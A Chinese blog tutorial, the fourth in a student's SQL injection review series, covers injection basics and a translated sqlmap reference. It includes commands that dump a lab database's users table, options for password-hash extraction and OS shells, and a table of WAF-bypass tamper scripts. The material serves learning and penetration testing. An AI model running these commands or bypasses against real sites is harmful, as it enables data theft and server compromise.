SQL注入回顾篇(四)

最新推荐文章于 2021-03-21 07:44:12 发布
置顶 最新推荐文章于 2021-03-21 07:44:12 发布
阅读量4.3k 收藏 5
点赞数 3
分类专栏： 注入 工具 CTF学习 渗透之旅 CTF大本营
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/JBlock/article/details/88048895
版权
CTF学习 同时被 3 个专栏收录
15 篇文章 0 订阅
订阅专栏
注入
13 篇文章 1 订阅
订阅专栏
CTF大本营
10 篇文章 3 订阅
订阅专栏
前言

忆往昔，峥嵘岁月稠！大学已经到了大三了，打了很多比赛，回顾还是挺欣慰！此系列来由是想留一点东西，把所学知识整理一下，同时也是受github上Micro8分享的启发，故想做一些工作，以留后人参考，历时两个星期，第一系列SQL注入回顾篇出炉！内容分四节发布，其中SQL注入代码审计为两节，WAF绕过总结为1节，SQLMAP使用总结为1节！此为SQLMAP使用总结部分。欢迎各位斧正，交流！

文章目录

简介

SQL注入就是web应用程序对用户输入数据的合法性没有判断，前端传入后端的参数是攻击者可控的，并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

Sql注入的产生需要满足以下两个条件：

  1. 参数用户可控：前端传给后端的参数内容是用户可以控制的。
  2. 参数带入数据库查询：传入的参数拼接到sql语句中，且带入数据库查询。

当传入的参数ID为1’时，数据库执行的代码如下所示。

Select * from users where id=1’

这个语句不符合数据库语法规范，所以会报错。当传入的参数为and 1=1时，执行的sql语句如下所示

Select * from users where id=1 and 1=1

因为1=1为真，且where语句中的id=1也为真，所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时，此时sql语句恒为假，所以服务器会返回与id=1不同的结果

在实际环境中，sql注入会导致数据库的数据泄露，在安全配置不当的情况下还可能会被攻击者拿到系统权限，进行文件的读写操作等。

普通的注入审计，可以通过$_GET,$_POST等传参追踪数据库操作，也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

Mysql注入相关知识点

  1. 在Mysql 5.0版本之后，Mysql默认在数据库中存放一个”information_shcema”的数据库，在该库中，读者需要记住三个表名，分别是SCHEMATA,TABLES和COLUMNS。分存储该用户创建的所有数据库的库名，库名和表名，库名和表名,字段名。

  2. Limit的用法：使用格式为limit m,n,其中m是指记录开始的位置，从0开始，表示第一条记录：n是指取n条记录。例如limit 0,1表示从第一条记录开始，取一条记录。

  3. 需要记住的几个函数

    • database():当前网站使用的数据库。
    • version():当前MYSQL的版本。
    • user():当前MySQL的用户。

  4. 注释符

    在MYSQL中，常见的注释符的表达式为：#或--空格或/**/，

    ，//，-- , --+,,%00,--a。

  5. 内联注释

    内联注释的形式：/*！code */。内联注释可以用于整个SQL语句中用来执行我们的SQL语句，

    举个栗子:

    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

  6. MYSQL对大小写不敏感，所以存在大小绕过。

SQLMAP使用与Tamper详解

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）

sqlmap支持五种不同的注入模式：

  1. 基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
  3. 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入，可以使用union的情况下的注入。
  5. 堆查询注入，可以同时执行多条语句的执行时的注入
常规注入过程
  • 注出数据库
sqlmap -u"http://192.168.23.164/sqli/example1.php?name=root" –dbs

在这里插入图片描述

  • 注出指定数据库的表
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises –tables

在这里插入图片描述

  • 注出表中的相关字段
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises -T users –columns

在这里插入图片描述

  • 注出字段值
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises -T users –dump

在这里插入图片描述

权限常用参数
  • -b, --banner 检索数据库管理系统的标识
  • –current-user 检索数据库管理系统当前用户
  • –current-db 检索数据库管理系统当前数据库
  • –is-dba 检测DBMS当前用户是否DBA
  • –users 枚举数据库管理系统用户
  • –passwords 枚举数据库管理系统用户密码哈希
  • –privileges 枚举数据库管理系统用户的权限
  • –roles 枚举数据库管理系统用户的角色
  • –dbs 枚举数据库管理系统数据库
  • –tables 枚举的DBMS数据库中的表
  • –columns 枚举DBMS数据库表列
  • –dump 转储数据库管理系统的数据库中的表项
  • –dump-all 转储所有的DBMS数据库表中的条目
  • –search 搜索列（S），表（S）和/或数据库名称（S）
Cookie注入

当程序有防get注入的时候，可以使用cookie注入

sqlmap -u “url” –cookie “id=11” –level 2（只有level达到2才会检测cookie）
从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql  指定username参数
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password

user-agent注入
*指定参数 -r *.txt --user-agent "" --technique BEUST --dbms mysql --batch --threads 10
防屏蔽
-safe-freq 3 //一个斜杠
sqlmap详细命令：
  • -is-dba 当前用户权限（是否为root权限）
  • -dbs 所有数据库
  • -current-db 网站当前数据库
  • -users 所有数据库用户
  • -current-user 当前数据库用户
  • -random-agent 构造随机user-agent
  • -passwords 数据库密码
  • -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • -time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）

Options（选项）：

  • -version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别：0-6（默认为1）

Target（目标）：

以下至少需要设置其中一个选项，设置目标URL。

  • -d DIRECT 直接连接到数据库。
  • -u URL, –url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request（请求）：

这些选项可以用来指定如何连接到目标URL。

  • -data=DATA 通过POST发送的数据字符串
  • -cookie=COOKIE HTTP Cookie头
  • -cookie-urlencode URL 编码生成的cookie注入
  • -drop-set-cookie 忽略响应的Set – Cookie头信息
  • -user-agent=AGENT 指定 HTTP User – Agent头
  • -random-agent 使用随机选定的HTTP User – Agent头
  • -referer=REFERER 指定 HTTP Referer头
  • -headers=HEADERS 换行分开，加入其他的HTTP头
  • -auth-type=ATYPE HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)
  • -auth-cred=ACRED HTTP身份验证凭据（用户名:密码）
  • -auth-cert=ACERT HTTP认证证书（key_file，cert_file）
  • -proxy=PROXY 使用HTTP代理连接到目标URL
  • -proxy-cred=PCRED HTTP代理身份验证凭据（用户名：密码）
  • -ignore-proxy 忽略系统默认的HTTP代理
  • -delay=DELAY 在每个HTTP请求之间的延迟时间，单位为秒
  • -timeout=TIMEOUT 等待连接超时的时间（默认为30秒）
  • -retries=RETRIES 连接超时后重新连接的时间（默认3）
  • -scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • -safe-url=SAFURL 在测试过程中经常访问的url地址
  • -safe-freq=SAFREQ 两次访问之间测试请求，给出安全的URL

Enumeration（枚举）：

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • -current-user 检索数据库管理系统当前用户
  • -current-db 检索数据库管理系统当前数据库
  • -is-dba 检测DBMS当前用户是否DBA
  • -users 枚举数据库管理系统用户
  • -passwords 枚举数据库管理系统用户密码哈希
  • -privileges 枚举数据库管理系统用户的权限
  • -roles 枚举数据库管理系统用户的角色
  • -dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表（如：-T tablename –columns）
  • -tables 枚举的DBMS数据库中的表
  • -columns 枚举DBMS数据库表列
  • -dump 转储数据库管理系统的数据库中的表项
  • -dump-all 转储所有的DBMS数据库表中的条目
  • -search 搜索列（S），表（S）和/或数据库名称（S）
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • -exclude-sysdbs 枚举表时排除系统数据库
  • -start=LIMITSTART 第一个查询输出进入检索
  • -stop=LIMITSTOP 最后查询的输出进入检索
  • -first=FIRSTCHAR 第一个查询输出字的字符检索
  • -last=LASTCHAR 最后查询的输出字字符检索
  • -sql-query=QUERY 要执行的SQL语句
  • -sql-shell 提示交互式SQL的shell

Optimization（优化）：

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP（S）连接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP（S）请求并发量（默认为1）

Injection（注入）：

这些选项可以用来指定测试哪些参数， 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数（S）
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操作系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本（S）篡改注入数据

Detection（检测）：

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级（1-5，默认为1）
  • –risk=RISK 执行测试的风险（0-3，默认为1）
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques（技巧）：

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试（默认BEUST）
  • –time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint（指纹）：

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force（蛮力）：

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection（用户自定义函数注入）：

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access（访问文件系统）：

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access（操作系统访问）：

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令
  • –os-shell 交互式的操作系统的shell
  • –os-pwn 获取一个OOB shell，meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell，meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提升
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问：

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型
  • 这些选项可以用来设置一些一般的工作参数。
  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入，使用所有默认配置。

Miscellaneous（杂项）：

  • –beep 发现SQL注入时提醒

  • –check-payload IDS对注入payloads的检测测试

  • –cleanup SqlMap具体的UDF和表清理DBMS

  • –forms 对目标URL的解析和测试形式

  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

  • –page-rank Google dork结果显示网页排名（PR）

  • –parse-errors 从响应页面解析数据库管理系统的错误消息

  • –replicate 复制转储的数据到一个sqlite3数据库

  • –tor 使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址

  • –wizard 给初级用户的简单向导界面

Tamper详解

当原始注入遇到困难时，可尝试加载相应脚本，进行绕过，说不定会有意外惊喜。在sqlmap的原命令中加入以下代码，即可使用脚本，进行更加强有力的渗透

--tamper“脚本名称”(可使用多个tamper)

sqlmap版本当前为1.2.7.20，共有57个tamper脚本

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符，用于过滤单引号
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符，等号替换为like
8chardoubleencode双url编码
9charencode将url编码(不处理已经编码的字符)
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\
18greatest大于号替换为greatest，绕过对>的过滤
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为–加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/_/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为–%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头

下面以数据库为区分，给出每种数据库可供选择的tamper。若同一脚本适用不同数据库，则在每个数据库中都指出

【MySQL】

版本可用tamper编号脚本名称
4/5.0/5.510x2char
6between
9charencode
16concat2concatws
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
5.17bluecoat
46space2mysqlblank
5.0/5.512commalesslimit
13commalessmid
21ifnull2casewhenisnull
22ifnull2ifisnull
42space2morecomment
5.015concat2concatws
26modsecurityversioned
27modsecurityzeroversioned
4.0/5.041space2hash
5.1.5610charunicodeencode
5.1.56/5.5.1132percentage
56versionedmorekeywords
4.0.18/5.0.2219halfversionedmorekeywords
4.0.18/5.1.56/5.5.1155versionedkeywords
5.1.4143space2morehash
未指定版本14commentbeforeparentheses
40space2dash
45space2mssqlhash
47space2mysqldash

【SQLServer】

版本可用tamper编号脚本名称
2005/200010charunicodeencode
32percentage
44space2mssqlblank
20056between
9charencode
16equaltolike
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
2002+33plus2concat
2008+34plus2fnconcat
未指定14commentbeforeparentheses

【Access】

版本可用tamper编号脚本名称
未指定4appendnullbyte

【Oracle】

版本可用tamper编号脚本名称
10g6between
9charencode
14commentbeforeparentheses
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase

【PostgreSQL】

版本可用tamper编号脚本名称
8.3/8.4/9.06between
9charencode
18greatest
24least
25lowercase
39space2comment
49space2randomblank
53uppercase
9.032percentage
9.0.310charunicodeencode
未指定14commentbeforeparentheses
35randomcase

【MSSQL】

版本可用tamper编号脚本名称
未指定38sp_password

【SQLite】

版本可用tamper编号脚本名称
未指定40space2dash

【未知适用范围】

若以上脚本未解决问题，可尝试使用一下脚本。

版本可用tamper编号脚本名称
2apostrophemask
3apostrophenullencode
5base64encode
8chardoubleencode
11charunicodeescape
17escapequotes
20htmlencode
23informationschemacomment
28multiplespaces
29nonrecursivereplacement
30overlongutf8
31overlongutf8more
36randomcomments
37securesphere
48space2plus
50symboliclogical
51unionalltounion
52unmagicquotes
54varnish
57xforwardedfor
结语

此次新更的内容为SQLMAP使用，单独拿出SQLMAP的原因是开源，经典，强大，兼容数据库！Tamper作为SQLMAP灵魂内容的存在，也希望大家掌握自己开发的能力，以后我也会附上自己的分享!
传送门：
SQL注入回顾篇(一)
SQL注入回顾篇(二)
SQL注入回顾篇(三)

JBlock
关注
专栏目录
一次sql注入问题的筛查报告 ，主要 是sql 注入的问题
05-10
SQL注入是一种常见的网络安全威胁，它发生在应用程序未能充分验证或过滤用户输入的数据，导致恶意SQL代码被插入到数据库查询中。这种攻击方式可以让攻击者获取、修改、甚至删除数据库中的敏感信息，对系统的安全性...
vb脚本从入门到精通_sqlmap从入门到精通第七章719 绕过WAF脚本space2morecomment&space2morehash...
weixin_39641257的博客
11-26 81
40. space2morecomment.py脚本使用/**_**/替代空格 适用于所有数据库测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2morecomment.py" --proxy="http://127.0.0.1:8080" -batch是可以注入，看看burp...
sqlmap注入之tamper绕过WAF防火墙过滤
ru_li的专栏
05-19 1万+
每当注入的时候看到这个贱贱的提示框，内心有千万只草泥马在奔腾。   但很多时候还是得静下来分析过滤系统到底过滤了哪些参数，该如何绕过。 sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，可能有的朋友还不知道怎样才能最有效的利用tamper脚本。 当然使用脚本之前需要确定的就是系统过滤了哪些关键字，比如单引号、空格、select、union、admin等等。 所以
经典的sqlmap与tamper组合姿势
凡宇
07-15 1619
python sqlmap.py -u https://www.xxxx.com/?id=2* --level 5 --risk 3 --dbms MYSQL --tamper=between,bluecoat,charencode,charunicodeencode,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,m...
Sql注入简介
wuhuimin521的博客
04-14 2077
一、Sql注入简介Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。二、Web 程序三层架构三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为：界面层（User Interface layer）业务逻辑层（Business Logic Layer...
Python编写脚本绕过WAF
Grey的博客
07-15 4439
环境搭建： 网上在i春秋找的源码进行搭建 Fuzz脚本思路 如果有某狗存在的话，会对特殊字符进行拦截 所以我们需要自己构造payload Fuzz脚本编写 fuzz脚本样例 #! -*- encoding:utf-8 -*- # python3 import requests fuzz_zs = ['/*','*/','/*!','*','=','`','!',...
基于静态分析的Java源代码SQL注入检测算法.pdf
09-19
总结来说，这篇文章详细地讲解了SQL注入攻击的危害、检测和预防的原理，同时重点提出并验证了一种新的基于静态分析技术的Java源代码SQL注入检测算法。该算法通过一系列分析步骤构建了抽象语法树，并在此基础上定义了...
PHP中全面阻止SQL注入式攻击分析小结
01-21
首先，我们简单地回顾一下服务器安全问题-展示你如何存取一个共享宿主环境下的私人信息，使开发者脱离开生产服务器，维持最新的软件，提供加密的频道，并且控制对你的系统的存取。 然后，我们讨论PHP脚本实现中的...
史上最全的 SQL 注入资料
笑释一切的博客
09-28 9364
什么是 SQL 注入速查表？SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源。这份速查表对于经验丰富的渗透测试人员，或者刚开始接触 Web应用安全 的初学者，都是一份很好的参考资料。关于这份 SQL 注入速查表这份 SQL 速查表最初是 2007 年时 Ferruh Mavituna 在他自己的博客上发布的。我们更新了它并将它移到了公司 CEO 的博客上。现在，这份速
SQL注入回顾篇(一)
JBlock的博客
02-28 1642
前言 忆往昔，峥嵘岁月稠！大学已经到了大三了，打了很多比赛，回顾还是挺欣慰！此系列来由是想留一点东西，把所学知识整理一下，同时也是受github上Micro8分享的启发，故想做一些工作，以留后人参考，历时两个星期，第一系列SQL注入回顾篇出炉！内容分四节发布，其中SQL注入代码审计为两节，WAF绕过总结为1节，SQLMAP使用总结为1节！此为SQL注入代码审计第一部分。欢迎各位斧正，交流！ 文章目...
php写poc,Php&Sql注入 – UTF8 POC
weixin_32626635的博客
03-21 145
更新2：After further research,5.0.77之前的MySQL版本可能会与单独的SET NAMES组合时容易受到GBK问题的困扰.早先认为只有5.0.22及更早版本是脆弱的.这意味着如果您在5.2之前使用PHP版本,其中引入了mysql_set_charset / mysqli_set_charset,则您的代码在特定的,精心设计的条件下可能是易受攻击的.如果您坚持使用PHP ...
SQL盲注(延时注入)
JKding123的博客
04-02 1万+
思路： *判断是否存在注入，注入是字符型还是数字型 *猜解当前数据库名 *猜解数据库表名 *猜解字段名 *猜解数据 1判断注入类型 playload result 1’ and sleep(5) # 延迟 1 and sleep(5)# 没有延迟 存在字符型注入 2猜解当前数据库名 2.1猜解数据库名的长度： playload result 1’ and i...
简单的sql注入之一 （实验吧）
wewww111的博客
08-11 3807
1.判断注入类型 1' or '1' = '1 结果如下 测试几个简单的语句后， 1' order by 1 # ， 1' select 1 # 根据报错信息 #  -- - order by select 等关键词都被过滤 关键词被过滤：解决方法如下 1大小写交替： Order SeLect  2.双写  ： OderOrder SelectSelect  3.交叉： sele...
sqlmap过waf脚本及目录介绍
司令2017的博客
04-26 5416
sqlmap 的源码学习笔记一之目录结构 0x00 前言 sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构，后续的文章也会从源码编写
最详细SQL注入教程
热门推荐
zyw_anquan的专栏
08-31 3万+
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。  ＳＱＬ注入是从正常的WW
SQL注入
前朝元老的博客
09-12 198
嗯，有一段时间没写博客了，今天我们来讨论一下SQL注入 先来简单概括一下SQL注入原理:由于程序的漏洞，使得当用户提交一些恶意请求时，数据库仍然会返回一些内容，从而使得一些敏感内容展示给用户或返回数据库的其它内容。好吧，这只是我的个人简单概述，详细介绍请自行google:https://www.google.com.hk 现在进入主题，我们要测试的网址时http://testphp.vulnw
SQL Injection with MySQL
11-11 1449
本文作者：angel文章性质：原创发布日期：2004-09-16本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。声明　　本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有
sqlmap绕过过滤的tamper脚本分类汇总
weixin_41489908的博客
10-29 764
孤独是什么，洗了个头，吹了个好看的发型，换了双干净的鞋子，穿了件帅气的衣服，去超市买了一包烟和一瓶水然后就回家了。。。 ---- 网易云热评 一、支持所有的数据库 1、apostrophemask.py 作用：用utf8代替引号 ("1 AND '1'='1")替换后'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 2、base64encode.py 作用：用base64编码替换 ("1' AND SLEEP(5)#")替换后'MScgQU5EIFNM..
理解SQL注入：风险与防范
"这篇资料主要介绍了SQL注入的基础知识，包括Web应用的概念、HTTP协议、HTML和JavaScript的作用，以及SQL注入的原理和可能出现的位置。" 在Web应用开发中，理解SQL注入是非常重要的，因为它可能导致严重的安全问题...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值